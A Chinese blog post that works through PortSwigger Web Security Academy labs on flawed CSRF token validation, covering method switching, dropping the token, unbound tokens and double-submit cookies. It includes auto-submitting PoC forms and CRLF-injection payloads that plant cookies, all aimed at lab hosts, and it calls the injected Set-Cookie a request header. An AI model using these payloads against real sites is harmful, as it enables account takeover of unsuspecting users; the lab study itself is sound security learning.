当前位置：首页 > news >正文

PostSwigger Web 安全学习：CSRF漏洞3

news 来源：原创 2025/6/9 18:25:45

CSRF 漏洞学习网站：What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF Token 基本原理

CSRF Token 是服务端生成的唯一、随机且不可预测的字符串，用于验证客户端合法校验。

作用：防止攻击者伪造用户身份执行敏感操作（修改密码、转账）。

传输方式：

将 CSRF Token 作为隐藏参数包含在 HTML 表单中：

<form name="change-email-form" action="/my-account/change-email" method="POST"><label>Email</label><input required type="email" name="email" value="example@normal-website.com"><input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u"><button class='button' type='submit'> Update email </button>
</form>

提交时数据包：
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded

csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com


# 每当用户刷新页面，服务端返回的嵌入在 HTML 里的 CSRF Token 都不一样，确保他的唯一性。
# 在这种情况下，用户构造表单时，构造不出 CSRF Token 的选项，导致攻击失效。

将 CSRF Token 作为请求头。

我们有时候在靶场爆破时，经常会看见 POST 参数里有一个 CSRF Token，但我们通常会直接忽略它直接进行爆破。因为 CSRF Token 通常不是发一次请求包刷新一次，通常是刷新一次页面刷新一次 CSRF Token。然而爆破的过程中不存在刷新页面得行为，所以 CSRF Token 保持不变就能验证成功。

CSRF Token 验证缺陷

CSRF 漏洞通常由于 CSRF 令牌验证存在缺陷而导致的。

实验：CSRF Token 的校验取决于请求方法

有些应用程序 POST 方式和 GET 方式都支持。且只有 POST 时，才出现 CSRF Token。

操作：利用 GET 方式绕过 CSRF Token 校验。

这里有实验环境，我没有贴出来。

实验：CSRF Token 的校验取决于参数是否存在

如果 CSRF Token 相关参数不存在，后端直接忽略 CSRF 校验。

操作：直接删掉整个 CSRF Token 相关参数。

这里有实验环境，我没有贴出来。

实验：CSRF Token 没有绑定到用户会话

系统维护了一个全局有效的令牌池，在这个令牌池中的所有令牌都可用于验证任何页面。当用户携带 CSRF Token 访问页面时，仅验证 CSRF Token 是否存在于这个令牌池中，而不验证令牌是否属于当前用户会话。

操作：受害者利用攻击者的 CSRF Token 访问敏感操作页面。

案例：假设 wiener 是攻击者，carlos 是受害者。

由于 CSRF Token 是一次性的，所以刷新一次就生成一次 CSRF Token。

不要点击 Update email 按钮或刷新，导致一次性 CSRF Token 被使用后被销毁。
制作 payload，并放在攻击者服务器：

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a0500a3044f74e280b66795005c0027.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;anormal&#45;user&#46;net" /><input type="hidden" name="csrf" value="iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

另一个浏览器登录 carlos 后，访问攻击者服务器，发现跳转到如下页面。

carlos 使用 wiener 的 CSRF Token：iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb 修改了邮件地址。

实验：CSRF Token 与非会话 Cookie 绑定

某些情况下，可用户 CSRF Token 绑定的并不是 Cookie 中的会话，而可能是一个其他值（如 Cookie 中的 CSRF Key）。当 Web 应用程序使用不同框架时（例如 Session 由 A 框架管理，而 CSRF Token 由框架 B 管理），这种情况下，很容易发生 CSRF Token 绑定的不是用户 Session，而是由框架 B 生成的其他值（如：CSRF Key）。

操作：受害者利用攻击者提供的 CSRF Key 和 CSRF Token 访问敏感操作页面。

案例：假设 wiener 是攻击者，carlos 是受害者。

csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB
value=QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0

不要点击 Update email 按钮或刷新，导致一次性 CSRF Token 被使用后被销毁。
制作 payload，执行如下操作。
- 第一次 CSRF 攻击结合 CRLF 漏洞：将 Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB 设置为受害者 Cookie 中的 csrfKey。
- 第二次 CSRF 攻击：利用 QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0 的 CSRF Token 访问敏感操作页面。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;a&#45;montoya&#46;net" /><input type="hidden" name="csrf" value="QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0" /><input type="submit" value="Submit request" /></form><!-- 利用此网站没有 CSRF Token 保护的页面注入 CSRF Key（第一次 CSRF 攻击），之后提交表单（第二次 CSRF 攻击） --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body>
</html>

另一个浏览器登录 carlos 后，访问攻击者服务器。

实验：CSRF Token 只在 Cookie 中复制（双重提交场景）

双重提交：

服务端生成 CSRF Token 后，将 Token 存储在 Cookie 中（如：csrf=CSRF Token），同时将 CSRF_Token 嵌入表单中。

校验 CSRF Token 时，仅判断 Cookie 中的 CSRF Token 和表单提交的 CSRF Token 是否一致，不验证令牌是否由服务端生成或是否有效。

操作：受害者利用攻击者生成任意 CSRF Token 访问敏感页面。

案例：

制作 payload，执行如下操作。
- 随意生成一个 CSRF Token。
- 第一次 CSRF 攻击结合 CRLF 漏洞：将生成的 CSRF Token 设置为受害者的 Cookie 中的 CSRF。
- 第二次 CSRF 攻击：利用 CSRF Token 作为参数访问敏感操作页面。
- CSRF Token 验证：仅仅验证 Cookie 中的 CSRF Token 和表单提交的 CSRF Token 是否一致。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;a&#45;montoya&#46;net" /><input type="hidden" name="csrf" value="Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB" /><input type="submit" value="Submit request" /></form><!-- 利用此网站没有 CSRF Token 保护的页面注入 CSRF Key（第一次 CSRF 攻击），之后提交表单（第二次 CSRF 攻击） --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body>
</html>

"CSRF Token 与非会话 Cookie 绑定" 和 "CSRF Token 只在 Cookie 中复制（双重提交场景）" 这两个场景使用到了 CRLF 注入漏洞

get 参数：test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None

CRLF 注入后的 get 参数，导致 Set-Cookie 被当作请求头解析：
test\r\n
Set-Cookie: csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB; SameSite=None

如上图，左侧请求中间响应，右侧 CRLF 注入后的参数。